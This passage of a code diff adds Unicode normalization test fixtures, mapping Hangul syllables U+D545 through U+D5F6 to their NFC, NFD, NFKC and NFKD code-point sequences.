+{ source: [0xD545], NFC: [0xD545], NFD: [0x1111, 0x1175, 0x11B0], NFKC: [0xD545], NFKD: [0x1111, 0x1175, 0x11B0] },
+{ source: [0xD546], NFC: [0xD546], NFD: [0x1111, 0x1175, 0x11B1], NFKC: [0xD546], NFKD: [0x1111, 0x1175, 0x11B1] },
+{ source: [0xD547], NFC: [0xD547], NFD: [0x1111, 0x1175, 0x11B2], NFKC: [0xD547], NFKD: [0x1111, 0x1175, 0x11B2] },
+{ source: [0xD548], NFC: [0xD548], NFD: [0x1111, 0x1175, 0x11B3], NFKC: [0xD548], NFKD: [0x1111, 0x1175, 0x11B3] },
+{ source: [0xD549], NFC: [0xD549], NFD: [0x1111, 0x1175, 0x11B4], NFKC: [0xD549], NFKD: [0x1111, 0x1175, 0x11B4] },
+{ source: [0xD54A], NFC: [0xD54A], NFD: [0x1111, 0x1175, 0x11B5], NFKC: [0xD54A], NFKD: [0x1111, 0x1175, 0x11B5] },
+{ source: [0xD54B], NFC: [0xD54B], NFD: [0x1111, 0x1175, 0x11B6], NFKC: [0xD54B], NFKD: [0x1111, 0x1175, 0x11B6] },
+{ source: [0xD54C], NFC: [0xD54C], NFD: [0x1111, 0x1175, 0x11B7], NFKC: [0xD54C], NFKD: [0x1111, 0x1175, 0x11B7] },
+{ source: [0xD54D], NFC: [0xD54D], NFD: [0x1111, 0x1175, 0x11B8], NFKC: [0xD54D], NFKD: [0x1111, 0x1175, 0x11B8] },
+{ source: [0xD54E], NFC: [0xD54E], NFD: [0x1111, 0x1175, 0x11B9], NFKC: [0xD54E], NFKD: [0x1111, 0x1175, 0x11B9] },
+{ source: [0xD54F], NFC: [0xD54F], NFD: [0x1111, 0x1175, 0x11BA], NFKC: [0xD54F], NFKD: [0x1111, 0x1175, 0x11BA] },
+{ source: [0xD550], NFC: [0xD550], NFD: [0x1111, 0x1175, 0x11BB], NFKC: [0xD550], NFKD: [0x1111, 0x1175, 0x11BB] },
+{ source: [0xD551], NFC: [0xD551], NFD: [0x1111, 0x1175, 0x11BC], NFKC: [0xD551], NFKD: [0x1111, 0x1175, 0x11BC] },
+{ source: [0xD552], NFC: [0xD552], NFD: [0x1111, 0x1175, 0x11BD], NFKC: [0xD552], NFKD: [0x1111, 0x1175, 0x11BD] },
+{ source: [0xD553], NFC: [0xD553], NFD: [0x1111, 0x1175, 0x11BE], NFKC: [0xD553], NFKD: [0x1111, 0x1175, 0x11BE] },
+{ source: [0xD554], NFC: [0xD554], NFD: [0x1111, 0x1175, 0x11BF], NFKC: [0xD554], NFKD: [0x1111, 0x1175, 0x11BF] },
+{ source: [0xD555], NFC: [0xD555], NFD: [0x1111, 0x1175, 0x11C0], NFKC: [0xD555], NFKD: [0x1111, 0x1175, 0x11C0] },
+{ source: [0xD556], NFC: [0xD556], NFD: [0x1111, 0x1175, 0x11C1], NFKC: [0xD556], NFKD: [0x1111, 0x1175, 0x11C1] },
+{ source: [0xD557], NFC: [0xD557], NFD: [0x1111, 0x1175, 0x11C2], NFKC: [0xD557], NFKD: [0x1111, 0x1175, 0x11C2] },
+{ source: [0xD558], NFC: [0xD558], NFD: [0x1112, 0x1161], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0xD559], NFC: [0xD559], NFD: [0x1112, 0x1161, 0x11A8], NFKC: [0xD559], NFKD: [0x1112, 0x1161, 0x11A8] },
+{ source: [0xD55A], NFC: [0xD55A], NFD: [0x1112, 0x1161, 0x11A9], NFKC: [0xD55A], NFKD: [0x1112, 0x1161, 0x11A9] },
+{ source: [0xD55B], NFC: [0xD55B], NFD: [0x1112, 0x1161, 0x11AA], NFKC: [0xD55B], NFKD: [0x1112, 0x1161, 0x11AA] },
+{ source: [0xD55C], NFC: [0xD55C], NFD: [0x1112, 0x1161, 0x11AB], NFKC: [0xD55C], NFKD: [0x1112, 0x1161, 0x11AB] },
+{ source: [0xD55D], NFC: [0xD55D], NFD: [0x1112, 0x1161, 0x11AC], NFKC: [0xD55D], NFKD: [0x1112, 0x1161, 0x11AC] },
+{ source: [0xD55E], NFC: [0xD55E], NFD: [0x1112, 0x1161, 0x11AD], NFKC: [0xD55E], NFKD: [0x1112, 0x1161, 0x11AD] },
+{ source: [0xD55F], NFC: [0xD55F], NFD: [0x1112, 0x1161, 0x11AE], NFKC: [0xD55F], NFKD: [0x1112, 0x1161, 0x11AE] },
+{ source: [0xD560], NFC: [0xD560], NFD: [0x1112, 0x1161, 0x11AF], NFKC: [0xD560], NFKD: [0x1112, 0x1161, 0x11AF] },
+{ source: [0xD561], NFC: [0xD561], NFD: [0x1112, 0x1161, 0x11B0], NFKC: [0xD561], NFKD: [0x1112, 0x1161, 0x11B0] },
+{ source: [0xD562], NFC: [0xD562], NFD: [0x1112, 0x1161, 0x11B1], NFKC: [0xD562], NFKD: [0x1112, 0x1161, 0x11B1] },
+{ source: [0xD563], NFC: [0xD563], NFD: [0x1112, 0x1161, 0x11B2], NFKC: [0xD563], NFKD: [0x1112, 0x1161, 0x11B2] },
+{ source: [0xD564], NFC: [0xD564], NFD: [0x1112, 0x1161, 0x11B3], NFKC: [0xD564], NFKD: [0x1112, 0x1161, 0x11B3] },
+{ source: [0xD565], NFC: [0xD565], NFD: [0x1112, 0x1161, 0x11B4], NFKC: [0xD565], NFKD: [0x1112, 0x1161, 0x11B4] },
+{ source: [0xD566], NFC: [0xD566], NFD: [0x1112, 0x1161, 0x11B5], NFKC: [0xD566], NFKD: [0x1112, 0x1161, 0x11B5] },
+{ source: [0xD567], NFC: [0xD567], NFD: [0x1112, 0x1161, 0x11B6], NFKC: [0xD567], NFKD: [0x1112, 0x1161, 0x11B6] },
+{ source: [0xD568], NFC: [0xD568], NFD: [0x1112, 0x1161, 0x11B7], NFKC: [0xD568], NFKD: [0x1112, 0x1161, 0x11B7] },
+{ source: [0xD569], NFC: [0xD569], NFD: [0x1112, 0x1161, 0x11B8], NFKC: [0xD569], NFKD: [0x1112, 0x1161, 0x11B8] },
+{ source: [0xD56A], NFC: [0xD56A], NFD: [0x1112, 0x1161, 0x11B9], NFKC: [0xD56A], NFKD: [0x1112, 0x1161, 0x11B9] },
+{ source: [0xD56B], NFC: [0xD56B], NFD: [0x1112, 0x1161, 0x11BA], NFKC: [0xD56B], NFKD: [0x1112, 0x1161, 0x11BA] },
+{ source: [0xD56C], NFC: [0xD56C], NFD: [0x1112, 0x1161, 0x11BB], NFKC: [0xD56C], NFKD: [0x1112, 0x1161, 0x11BB] },
+{ source: [0xD56D], NFC: [0xD56D], NFD: [0x1112, 0x1161, 0x11BC], NFKC: [0xD56D], NFKD: [0x1112, 0x1161, 0x11BC] },
+{ source: [0xD56E], NFC: [0xD56E], NFD: [0x1112, 0x1161, 0x11BD], NFKC: [0xD56E], NFKD: [0x1112, 0x1161, 0x11BD] },
+{ source: [0xD56F], NFC: [0xD56F], NFD: [0x1112, 0x1161, 0x11BE], NFKC: [0xD56F], NFKD: [0x1112, 0x1161, 0x11BE] },
+{ source: [0xD570], NFC: [0xD570], NFD: [0x1112, 0x1161, 0x11BF], NFKC: [0xD570], NFKD: [0x1112, 0x1161, 0x11BF] },
+{ source: [0xD571], NFC: [0xD571], NFD: [0x1112, 0x1161, 0x11C0], NFKC: [0xD571], NFKD: [0x1112, 0x1161, 0x11C0] },
+{ source: [0xD572], NFC: [0xD572], NFD: [0x1112, 0x1161, 0x11C1], NFKC: [0xD572], NFKD: [0x1112, 0x1161, 0x11C1] },
+{ source: [0xD573], NFC: [0xD573], NFD: [0x1112, 0x1161, 0x11C2], NFKC: [0xD573], NFKD: [0x1112, 0x1161, 0x11C2] },
+{ source: [0xD574], NFC: [0xD574], NFD: [0x1112, 0x1162], NFKC: [0xD574], NFKD: [0x1112, 0x1162] },
+{ source: [0xD575], NFC: [0xD575], NFD: [0x1112, 0x1162, 0x11A8], NFKC: [0xD575], NFKD: [0x1112, 0x1162, 0x11A8] },
+{ source: [0xD576], NFC: [0xD576], NFD: [0x1112, 0x1162, 0x11A9], NFKC: [0xD576], NFKD: [0x1112, 0x1162, 0x11A9] },
+{ source: [0xD577], NFC: [0xD577], NFD: [0x1112, 0x1162, 0x11AA], NFKC: [0xD577], NFKD: [0x1112, 0x1162, 0x11AA] },
+{ source: [0xD578], NFC: [0xD578], NFD: [0x1112, 0x1162, 0x11AB], NFKC: [0xD578], NFKD: [0x1112, 0x1162, 0x11AB] },
+{ source: [0xD579], NFC: [0xD579], NFD: [0x1112, 0x1162, 0x11AC], NFKC: [0xD579], NFKD: [0x1112, 0x1162, 0x11AC] },
+{ source: [0xD57A], NFC: [0xD57A], NFD: [0x1112, 0x1162, 0x11AD], NFKC: [0xD57A], NFKD: [0x1112, 0x1162, 0x11AD] },
+{ source: [0xD57B], NFC: [0xD57B], NFD: [0x1112, 0x1162, 0x11AE], NFKC: [0xD57B], NFKD: [0x1112, 0x1162, 0x11AE] },
+{ source: [0xD57C], NFC: [0xD57C], NFD: [0x1112, 0x1162, 0x11AF], NFKC: [0xD57C], NFKD: [0x1112, 0x1162, 0x11AF] },
+{ source: [0xD57D], NFC: [0xD57D], NFD: [0x1112, 0x1162, 0x11B0], NFKC: [0xD57D], NFKD: [0x1112, 0x1162, 0x11B0] },
+{ source: [0xD57E], NFC: [0xD57E], NFD: [0x1112, 0x1162, 0x11B1], NFKC: [0xD57E], NFKD: [0x1112, 0x1162, 0x11B1] },
+{ source: [0xD57F], NFC: [0xD57F], NFD: [0x1112, 0x1162, 0x11B2], NFKC: [0xD57F], NFKD: [0x1112, 0x1162, 0x11B2] },
+{ source: [0xD580], NFC: [0xD580], NFD: [0x1112, 0x1162, 0x11B3], NFKC: [0xD580], NFKD: [0x1112, 0x1162, 0x11B3] },
+{ source: [0xD581], NFC: [0xD581], NFD: [0x1112, 0x1162, 0x11B4], NFKC: [0xD581], NFKD: [0x1112, 0x1162, 0x11B4] },
+{ source: [0xD582], NFC: [0xD582], NFD: [0x1112, 0x1162, 0x11B5], NFKC: [0xD582], NFKD: [0x1112, 0x1162, 0x11B5] },
+{ source: [0xD583], NFC: [0xD583], NFD: [0x1112, 0x1162, 0x11B6], NFKC: [0xD583], NFKD: [0x1112, 0x1162, 0x11B6] },
+{ source: [0xD584], NFC: [0xD584], NFD: [0x1112, 0x1162, 0x11B7], NFKC: [0xD584], NFKD: [0x1112, 0x1162, 0x11B7] },
+{ source: [0xD585], NFC: [0xD585], NFD: [0x1112, 0x1162, 0x11B8], NFKC: [0xD585], NFKD: [0x1112, 0x1162, 0x11B8] },
+{ source: [0xD586], NFC: [0xD586], NFD: [0x1112, 0x1162, 0x11B9], NFKC: [0xD586], NFKD: [0x1112, 0x1162, 0x11B9] },
+{ source: [0xD587], NFC: [0xD587], NFD: [0x1112, 0x1162, 0x11BA], NFKC: [0xD587], NFKD: [0x1112, 0x1162, 0x11BA] },
+{ source: [0xD588], NFC: [0xD588], NFD: [0x1112, 0x1162, 0x11BB], NFKC: [0xD588], NFKD: [0x1112, 0x1162, 0x11BB] },
+{ source: [0xD589], NFC: [0xD589], NFD: [0x1112, 0x1162, 0x11BC], NFKC: [0xD589], NFKD: [0x1112, 0x1162, 0x11BC] },
+{ source: [0xD58A], NFC: [0xD58A], NFD: [0x1112, 0x1162, 0x11BD], NFKC: [0xD58A], NFKD: [0x1112, 0x1162, 0x11BD] },
+{ source: [0xD58B], NFC: [0xD58B], NFD: [0x1112, 0x1162, 0x11BE], NFKC: [0xD58B], NFKD: [0x1112, 0x1162, 0x11BE] },
+{ source: [0xD58C], NFC: [0xD58C], NFD: [0x1112, 0x1162, 0x11BF], NFKC: [0xD58C], NFKD: [0x1112, 0x1162, 0x11BF] },
+{ source: [0xD58D], NFC: [0xD58D], NFD: [0x1112, 0x1162, 0x11C0], NFKC: [0xD58D], NFKD: [0x1112, 0x1162, 0x11C0] },
+{ source: [0xD58E], NFC: [0xD58E], NFD: [0x1112, 0x1162, 0x11C1], NFKC: [0xD58E], NFKD: [0x1112, 0x1162, 0x11C1] },
+{ source: [0xD58F], NFC: [0xD58F], NFD: [0x1112, 0x1162, 0x11C2], NFKC: [0xD58F], NFKD: [0x1112, 0x1162, 0x11C2] },
+{ source: [0xD590], NFC: [0xD590], NFD: [0x1112, 0x1163], NFKC: [0xD590], NFKD: [0x1112, 0x1163] },
+{ source: [0xD591], NFC: [0xD591], NFD: [0x1112, 0x1163, 0x11A8], NFKC: [0xD591], NFKD: [0x1112, 0x1163, 0x11A8] },
+{ source: [0xD592], NFC: [0xD592], NFD: [0x1112, 0x1163, 0x11A9], NFKC: [0xD592], NFKD: [0x1112, 0x1163, 0x11A9] },
+{ source: [0xD593], NFC: [0xD593], NFD: [0x1112, 0x1163, 0x11AA], NFKC: [0xD593], NFKD: [0x1112, 0x1163, 0x11AA] },
+{ source: [0xD594], NFC: [0xD594], NFD: [0x1112, 0x1163, 0x11AB], NFKC: [0xD594], NFKD: [0x1112, 0x1163, 0x11AB] },
+{ source: [0xD595], NFC: [0xD595], NFD: [0x1112, 0x1163, 0x11AC], NFKC: [0xD595], NFKD: [0x1112, 0x1163, 0x11AC] },
+{ source: [0xD596], NFC: [0xD596], NFD: [0x1112, 0x1163, 0x11AD], NFKC: [0xD596], NFKD: [0x1112, 0x1163, 0x11AD] },
+{ source: [0xD597], NFC: [0xD597], NFD: [0x1112, 0x1163, 0x11AE], NFKC: [0xD597], NFKD: [0x1112, 0x1163, 0x11AE] },
+{ source: [0xD598], NFC: [0xD598], NFD: [0x1112, 0x1163, 0x11AF], NFKC: [0xD598], NFKD: [0x1112, 0x1163, 0x11AF] },
+{ source: [0xD599], NFC: [0xD599], NFD: [0x1112, 0x1163, 0x11B0], NFKC: [0xD599], NFKD: [0x1112, 0x1163, 0x11B0] },
+{ source: [0xD59A], NFC: [0xD59A], NFD: [0x1112, 0x1163, 0x11B1], NFKC: [0xD59A], NFKD: [0x1112, 0x1163, 0x11B1] },
+{ source: [0xD59B], NFC: [0xD59B], NFD: [0x1112, 0x1163, 0x11B2], NFKC: [0xD59B], NFKD: [0x1112, 0x1163, 0x11B2] },
+{ source: [0xD59C], NFC: [0xD59C], NFD: [0x1112, 0x1163, 0x11B3], NFKC: [0xD59C], NFKD: [0x1112, 0x1163, 0x11B3] },
+{ source: [0xD59D], NFC: [0xD59D], NFD: [0x1112, 0x1163, 0x11B4], NFKC: [0xD59D], NFKD: [0x1112, 0x1163, 0x11B4] },
+{ source: [0xD59E], NFC: [0xD59E], NFD: [0x1112, 0x1163, 0x11B5], NFKC: [0xD59E], NFKD: [0x1112, 0x1163, 0x11B5] },
+{ source: [0xD59F], NFC: [0xD59F], NFD: [0x1112, 0x1163, 0x11B6], NFKC: [0xD59F], NFKD: [0x1112, 0x1163, 0x11B6] },
+{ source: [0xD5A0], NFC: [0xD5A0], NFD: [0x1112, 0x1163, 0x11B7], NFKC: [0xD5A0], NFKD: [0x1112, 0x1163, 0x11B7] },
+{ source: [0xD5A1], NFC: [0xD5A1], NFD: [0x1112, 0x1163, 0x11B8], NFKC: [0xD5A1], NFKD: [0x1112, 0x1163, 0x11B8] },
+{ source: [0xD5A2], NFC: [0xD5A2], NFD: [0x1112, 0x1163, 0x11B9], NFKC: [0xD5A2], NFKD: [0x1112, 0x1163, 0x11B9] },
+{ source: [0xD5A3], NFC: [0xD5A3], NFD: [0x1112, 0x1163, 0x11BA], NFKC: [0xD5A3], NFKD: [0x1112, 0x1163, 0x11BA] },
+{ source: [0xD5A4], NFC: [0xD5A4], NFD: [0x1112, 0x1163, 0x11BB], NFKC: [0xD5A4], NFKD: [0x1112, 0x1163, 0x11BB] },
+{ source: [0xD5A5], NFC: [0xD5A5], NFD: [0x1112, 0x1163, 0x11BC], NFKC: [0xD5A5], NFKD: [0x1112, 0x1163, 0x11BC] },
+{ source: [0xD5A6], NFC: [0xD5A6], NFD: [0x1112, 0x1163, 0x11BD], NFKC: [0xD5A6], NFKD: [0x1112, 0x1163, 0x11BD] },
+{ source: [0xD5A7], NFC: [0xD5A7], NFD: [0x1112, 0x1163, 0x11BE], NFKC: [0xD5A7], NFKD: [0x1112, 0x1163, 0x11BE] },
+{ source: [0xD5A8], NFC: [0xD5A8], NFD: [0x1112, 0x1163, 0x11BF], NFKC: [0xD5A8], NFKD: [0x1112, 0x1163, 0x11BF] },
+{ source: [0xD5A9], NFC: [0xD5A9], NFD: [0x1112, 0x1163, 0x11C0], NFKC: [0xD5A9], NFKD: [0x1112, 0x1163, 0x11C0] },
+{ source: [0xD5AA], NFC: [0xD5AA], NFD: [0x1112, 0x1163, 0x11C1], NFKC: [0xD5AA], NFKD: [0x1112, 0x1163, 0x11C1] },
+{ source: [0xD5AB], NFC: [0xD5AB], NFD: [0x1112, 0x1163, 0x11C2], NFKC: [0xD5AB], NFKD: [0x1112, 0x1163, 0x11C2] },
+{ source: [0xD5AC], NFC: [0xD5AC], NFD: [0x1112, 0x1164], NFKC: [0xD5AC], NFKD: [0x1112, 0x1164] },
+{ source: [0xD5AD], NFC: [0xD5AD], NFD: [0x1112, 0x1164, 0x11A8], NFKC: [0xD5AD], NFKD: [0x1112, 0x1164, 0x11A8] },
+{ source: [0xD5AE], NFC: [0xD5AE], NFD: [0x1112, 0x1164, 0x11A9], NFKC: [0xD5AE], NFKD: [0x1112, 0x1164, 0x11A9] },
+{ source: [0xD5AF], NFC: [0xD5AF], NFD: [0x1112, 0x1164, 0x11AA], NFKC: [0xD5AF], NFKD: [0x1112, 0x1164, 0x11AA] },
+{ source: [0xD5B0], NFC: [0xD5B0], NFD: [0x1112, 0x1164, 0x11AB], NFKC: [0xD5B0], NFKD: [0x1112, 0x1164, 0x11AB] },
+{ source: [0xD5B1], NFC: [0xD5B1], NFD: [0x1112, 0x1164, 0x11AC], NFKC: [0xD5B1], NFKD: [0x1112, 0x1164, 0x11AC] },
+{ source: [0xD5B2], NFC: [0xD5B2], NFD: [0x1112, 0x1164, 0x11AD], NFKC: [0xD5B2], NFKD: [0x1112, 0x1164, 0x11AD] },
+{ source: [0xD5B3], NFC: [0xD5B3], NFD: [0x1112, 0x1164, 0x11AE], NFKC: [0xD5B3], NFKD: [0x1112, 0x1164, 0x11AE] },
+{ source: [0xD5B4], NFC: [0xD5B4], NFD: [0x1112, 0x1164, 0x11AF], NFKC: [0xD5B4], NFKD: [0x1112, 0x1164, 0x11AF] },
+{ source: [0xD5B5], NFC: [0xD5B5], NFD: [0x1112, 0x1164, 0x11B0], NFKC: [0xD5B5], NFKD: [0x1112, 0x1164, 0x11B0] },
+{ source: [0xD5B6], NFC: [0xD5B6], NFD: [0x1112, 0x1164, 0x11B1], NFKC: [0xD5B6], NFKD: [0x1112, 0x1164, 0x11B1] },
+{ source: [0xD5B7], NFC: [0xD5B7], NFD: [0x1112, 0x1164, 0x11B2], NFKC: [0xD5B7], NFKD: [0x1112, 0x1164, 0x11B2] },
+{ source: [0xD5B8], NFC: [0xD5B8], NFD: [0x1112, 0x1164, 0x11B3], NFKC: [0xD5B8], NFKD: [0x1112, 0x1164, 0x11B3] },
+{ source: [0xD5B9], NFC: [0xD5B9], NFD: [0x1112, 0x1164, 0x11B4], NFKC: [0xD5B9], NFKD: [0x1112, 0x1164, 0x11B4] },
+{ source: [0xD5BA], NFC: [0xD5BA], NFD: [0x1112, 0x1164, 0x11B5], NFKC: [0xD5BA], NFKD: [0x1112, 0x1164, 0x11B5] },
+{ source: [0xD5BB], NFC: [0xD5BB], NFD: [0x1112, 0x1164, 0x11B6], NFKC: [0xD5BB], NFKD: [0x1112, 0x1164, 0x11B6] },
+{ source: [0xD5BC], NFC: [0xD5BC], NFD: [0x1112, 0x1164, 0x11B7], NFKC: [0xD5BC], NFKD: [0x1112, 0x1164, 0x11B7] },
+{ source: [0xD5BD], NFC: [0xD5BD], NFD: [0x1112, 0x1164, 0x11B8], NFKC: [0xD5BD], NFKD: [0x1112, 0x1164, 0x11B8] },
+{ source: [0xD5BE], NFC: [0xD5BE], NFD: [0x1112, 0x1164, 0x11B9], NFKC: [0xD5BE], NFKD: [0x1112, 0x1164, 0x11B9] },
+{ source: [0xD5BF], NFC: [0xD5BF], NFD: [0x1112, 0x1164, 0x11BA], NFKC: [0xD5BF], NFKD: [0x1112, 0x1164, 0x11BA] },
+{ source: [0xD5C0], NFC: [0xD5C0], NFD: [0x1112, 0x1164, 0x11BB], NFKC: [0xD5C0], NFKD: [0x1112, 0x1164, 0x11BB] },
+{ source: [0xD5C1], NFC: [0xD5C1], NFD: [0x1112, 0x1164, 0x11BC], NFKC: [0xD5C1], NFKD: [0x1112, 0x1164, 0x11BC] },
+{ source: [0xD5C2], NFC: [0xD5C2], NFD: [0x1112, 0x1164, 0x11BD], NFKC: [0xD5C2], NFKD: [0x1112, 0x1164, 0x11BD] },
+{ source: [0xD5C3], NFC: [0xD5C3], NFD: [0x1112, 0x1164, 0x11BE], NFKC: [0xD5C3], NFKD: [0x1112, 0x1164, 0x11BE] },
+{ source: [0xD5C4], NFC: [0xD5C4], NFD: [0x1112, 0x1164, 0x11BF], NFKC: [0xD5C4], NFKD: [0x1112, 0x1164, 0x11BF] },
+{ source: [0xD5C5], NFC: [0xD5C5], NFD: [0x1112, 0x1164, 0x11C0], NFKC: [0xD5C5], NFKD: [0x1112, 0x1164, 0x11C0] },
+{ source: [0xD5C6], NFC: [0xD5C6], NFD: [0x1112, 0x1164, 0x11C1], NFKC: [0xD5C6], NFKD: [0x1112, 0x1164, 0x11C1] },
+{ source: [0xD5C7], NFC: [0xD5C7], NFD: [0x1112, 0x1164, 0x11C2], NFKC: [0xD5C7], NFKD: [0x1112, 0x1164, 0x11C2] },
+{ source: [0xD5C8], NFC: [0xD5C8], NFD: [0x1112, 0x1165], NFKC: [0xD5C8], NFKD: [0x1112, 0x1165] },
+{ source: [0xD5C9], NFC: [0xD5C9], NFD: [0x1112, 0x1165, 0x11A8], NFKC: [0xD5C9], NFKD: [0x1112, 0x1165, 0x11A8] },
+{ source: [0xD5CA], NFC: [0xD5CA], NFD: [0x1112, 0x1165, 0x11A9], NFKC: [0xD5CA], NFKD: [0x1112, 0x1165, 0x11A9] },
+{ source: [0xD5CB], NFC: [0xD5CB], NFD: [0x1112, 0x1165, 0x11AA], NFKC: [0xD5CB], NFKD: [0x1112, 0x1165, 0x11AA] },
+{ source: [0xD5CC], NFC: [0xD5CC], NFD: [0x1112, 0x1165, 0x11AB], NFKC: [0xD5CC], NFKD: [0x1112, 0x1165, 0x11AB] },
+{ source: [0xD5CD], NFC: [0xD5CD], NFD: [0x1112, 0x1165, 0x11AC], NFKC: [0xD5CD], NFKD: [0x1112, 0x1165, 0x11AC] },
+{ source: [0xD5CE], NFC: [0xD5CE], NFD: [0x1112, 0x1165, 0x11AD], NFKC: [0xD5CE], NFKD: [0x1112, 0x1165, 0x11AD] },
+{ source: [0xD5CF], NFC: [0xD5CF], NFD: [0x1112, 0x1165, 0x11AE], NFKC: [0xD5CF], NFKD: [0x1112, 0x1165, 0x11AE] },
+{ source: [0xD5D0], NFC: [0xD5D0], NFD: [0x1112, 0x1165, 0x11AF], NFKC: [0xD5D0], NFKD: [0x1112, 0x1165, 0x11AF] },
+{ source: [0xD5D1], NFC: [0xD5D1], NFD: [0x1112, 0x1165, 0x11B0], NFKC: [0xD5D1], NFKD: [0x1112, 0x1165, 0x11B0] },
+{ source: [0xD5D2], NFC: [0xD5D2], NFD: [0x1112, 0x1165, 0x11B1], NFKC: [0xD5D2], NFKD: [0x1112, 0x1165, 0x11B1] },
+{ source: [0xD5D3], NFC: [0xD5D3], NFD: [0x1112, 0x1165, 0x11B2], NFKC: [0xD5D3], NFKD: [0x1112, 0x1165, 0x11B2] },
+{ source: [0xD5D4], NFC: [0xD5D4], NFD: [0x1112, 0x1165, 0x11B3], NFKC: [0xD5D4], NFKD: [0x1112, 0x1165, 0x11B3] },
+{ source: [0xD5D5], NFC: [0xD5D5], NFD: [0x1112, 0x1165, 0x11B4], NFKC: [0xD5D5], NFKD: [0x1112, 0x1165, 0x11B4] },
+{ source: [0xD5D6], NFC: [0xD5D6], NFD: [0x1112, 0x1165, 0x11B5], NFKC: [0xD5D6], NFKD: [0x1112, 0x1165, 0x11B5] },
+{ source: [0xD5D7], NFC: [0xD5D7], NFD: [0x1112, 0x1165, 0x11B6], NFKC: [0xD5D7], NFKD: [0x1112, 0x1165, 0x11B6] },
+{ source: [0xD5D8], NFC: [0xD5D8], NFD: [0x1112, 0x1165, 0x11B7], NFKC: [0xD5D8], NFKD: [0x1112, 0x1165, 0x11B7] },
+{ source: [0xD5D9], NFC: [0xD5D9], NFD: [0x1112, 0x1165, 0x11B8], NFKC: [0xD5D9], NFKD: [0x1112, 0x1165, 0x11B8] },
+{ source: [0xD5DA], NFC: [0xD5DA], NFD: [0x1112, 0x1165, 0x11B9], NFKC: [0xD5DA], NFKD: [0x1112, 0x1165, 0x11B9] },
+{ source: [0xD5DB], NFC: [0xD5DB], NFD: [0x1112, 0x1165, 0x11BA], NFKC: [0xD5DB], NFKD: [0x1112, 0x1165, 0x11BA] },
+{ source: [0xD5DC], NFC: [0xD5DC], NFD: [0x1112, 0x1165, 0x11BB], NFKC: [0xD5DC], NFKD: [0x1112, 0x1165, 0x11BB] },
+{ source: [0xD5DD], NFC: [0xD5DD], NFD: [0x1112, 0x1165, 0x11BC], NFKC: [0xD5DD], NFKD: [0x1112, 0x1165, 0x11BC] },
+{ source: [0xD5DE], NFC: [0xD5DE], NFD: [0x1112, 0x1165, 0x11BD], NFKC: [0xD5DE], NFKD: [0x1112, 0x1165, 0x11BD] },
+{ source: [0xD5DF], NFC: [0xD5DF], NFD: [0x1112, 0x1165, 0x11BE], NFKC: [0xD5DF], NFKD: [0x1112, 0x1165, 0x11BE] },
+{ source: [0xD5E0], NFC: [0xD5E0], NFD: [0x1112, 0x1165, 0x11BF], NFKC: [0xD5E0], NFKD: [0x1112, 0x1165, 0x11BF] },
+{ source: [0xD5E1], NFC: [0xD5E1], NFD: [0x1112, 0x1165, 0x11C0], NFKC: [0xD5E1], NFKD: [0x1112, 0x1165, 0x11C0] },
+{ source: [0xD5E2], NFC: [0xD5E2], NFD: [0x1112, 0x1165, 0x11C1], NFKC: [0xD5E2], NFKD: [0x1112, 0x1165, 0x11C1] },
+{ source: [0xD5E3], NFC: [0xD5E3], NFD: [0x1112, 0x1165, 0x11C2], NFKC: [0xD5E3], NFKD: [0x1112, 0x1165, 0x11C2] },
+{ source: [0xD5E4], NFC: [0xD5E4], NFD: [0x1112, 0x1166], NFKC: [0xD5E4], NFKD: [0x1112, 0x1166] },
+{ source: [0xD5E5], NFC: [0xD5E5], NFD: [0x1112, 0x1166, 0x11A8], NFKC: [0xD5E5], NFKD: [0x1112, 0x1166, 0x11A8] },
+{ source: [0xD5E6], NFC: [0xD5E6], NFD: [0x1112, 0x1166, 0x11A9], NFKC: [0xD5E6], NFKD: [0x1112, 0x1166, 0x11A9] },
+{ source: [0xD5E7], NFC: [0xD5E7], NFD: [0x1112, 0x1166, 0x11AA], NFKC: [0xD5E7], NFKD: [0x1112, 0x1166, 0x11AA] },
+{ source: [0xD5E8], NFC: [0xD5E8], NFD: [0x1112, 0x1166, 0x11AB], NFKC: [0xD5E8], NFKD: [0x1112, 0x1166, 0x11AB] },
+{ source: [0xD5E9], NFC: [0xD5E9], NFD: [0x1112, 0x1166, 0x11AC], NFKC: [0xD5E9], NFKD: [0x1112, 0x1166, 0x11AC] },
+{ source: [0xD5EA], NFC: [0xD5EA], NFD: [0x1112, 0x1166, 0x11AD], NFKC: [0xD5EA], NFKD: [0x1112, 0x1166, 0x11AD] },
+{ source: [0xD5EB], NFC: [0xD5EB], NFD: [0x1112, 0x1166, 0x11AE], NFKC: [0xD5EB], NFKD: [0x1112, 0x1166, 0x11AE] },
+{ source: [0xD5EC], NFC: [0xD5EC], NFD: [0x1112, 0x1166, 0x11AF], NFKC: [0xD5EC], NFKD: [0x1112, 0x1166, 0x11AF] },
+{ source: [0xD5ED], NFC: [0xD5ED], NFD: [0x1112, 0x1166, 0x11B0], NFKC: [0xD5ED], NFKD: [0x1112, 0x1166, 0x11B0] },
+{ source: [0xD5EE], NFC: [0xD5EE], NFD: [0x1112, 0x1166, 0x11B1], NFKC: [0xD5EE], NFKD: [0x1112, 0x1166, 0x11B1] },
+{ source: [0xD5EF], NFC: [0xD5EF], NFD: [0x1112, 0x1166, 0x11B2], NFKC: [0xD5EF], NFKD: [0x1112, 0x1166, 0x11B2] },
+{ source: [0xD5F0], NFC: [0xD5F0], NFD: [0x1112, 0x1166, 0x11B3], NFKC: [0xD5F0], NFKD: [0x1112, 0x1166, 0x11B3] },
+{ source: [0xD5F1], NFC: [0xD5F1], NFD: [0x1112, 0x1166, 0x11B4], NFKC: [0xD5F1], NFKD: [0x1112, 0x1166, 0x11B4] },
+{ source: [0xD5F2], NFC: [0xD5F2], NFD: [0x1112, 0x1166, 0x11B5], NFKC: [0xD5F2], NFKD: [0x1112, 0x1166, 0x11B5] },
+{ source: [0xD5F3], NFC: [0xD5F3], NFD: [0x1112, 0x1166, 0x11B6], NFKC: [0xD5F3], NFKD: [0x1112, 0x1166, 0x11B6] },
+{ source: [0xD5F4], NFC: [0xD5F4], NFD: [0x1112, 0x1166, 0x11B7], NFKC: [0xD5F4], NFKD: [0x1112, 0x1166, 0x11B7] },
+{ source: [0xD5F5], NFC: [0xD5F5], NFD: [0x1112, 0x1166, 0x11B8], NFKC: [0xD5F5], NFKD: [0x1112, 0x1166, 0x11B8] },
+{ source: [0xD5F6], NFC: [0xD5F6], NFD: [0x1112, 0x1166, 0x11B9], NFKC: [0xD5F6], NFKD: [0x1112, 0x1166, 0x11B9] },
